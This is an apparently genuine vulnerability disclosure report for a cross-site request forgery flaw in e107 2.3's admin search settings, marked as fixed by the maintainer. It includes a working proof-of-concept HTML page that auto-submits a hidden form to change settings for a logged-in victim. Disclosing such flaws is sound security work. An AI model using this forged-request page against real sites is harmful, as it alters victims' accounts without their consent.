Cross-Site Request Forgery (CSRF) in e107inc/e107

Valid

Reported on

Sep 13th 2021


✍️ Description

Attacker or malicious user is able to change search setting if a logged in user visits attacker website. because lack of CSRF token

🕵️‍♂️ Proof of Concept

1.when you logged in open this POC.html in a browser
2.you can check unintentionally some settings changed


//POC.html
<html>
 <body>
 <script>history.pushState('', '', '/')</script>
   <form action="http://localhost:8181/ecms-full/e107_admin/search.php" method="POST">
     <input type="hidden" name="core_handlers[comments][class]" value="252" />
     <input type="hidden" name="core_handlers[comments][order]" value="2" />
     <input type="hidden" name="core_handlers[users][class]" value="0" />
     <input type="hidden" name="core_handlers[users][order]" value="3" />
     <input type="hidden" name="plug_handlers[news][class]" value="0" />
     <input type="hidden" name="plug_handlers[news][order]" value="1" />
     <input type="hidden" name="plug_handlers[page][class]" value="0" />
     <input type="hidden" name="plug_handlers[page][order]" value="1" />
     <input type="hidden" name="plug_handlers[user][class]" value="0" />
     <input type="hidden" name="plug_handlers[user][order]" value="1" />
     <input type="hidden" name="google" value="0" />
     <input type="hidden" name="comments_handlers[news][class]" value="0" />
     <input type="hidden" name="update_main" value="no-value" />
     <input type="submit" value="Submit request" />
   </form>
   <script>
     document.forms[0].submit();
   </script>
 </body>
</html>


💥 Impact

This vulnerability is capable of forcing user to unintentional change search settings

💥 Test

Tested version is 2.3 on Firefox and safari.

💥 Fix

You should set a CSRF token on this requeset.

References

We have contacted a member of the e107inc/e107 team and are waiting to hear back 2 years ago
Cameron marked this as fixed with commit 2682ae 2 years ago
Cameron has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation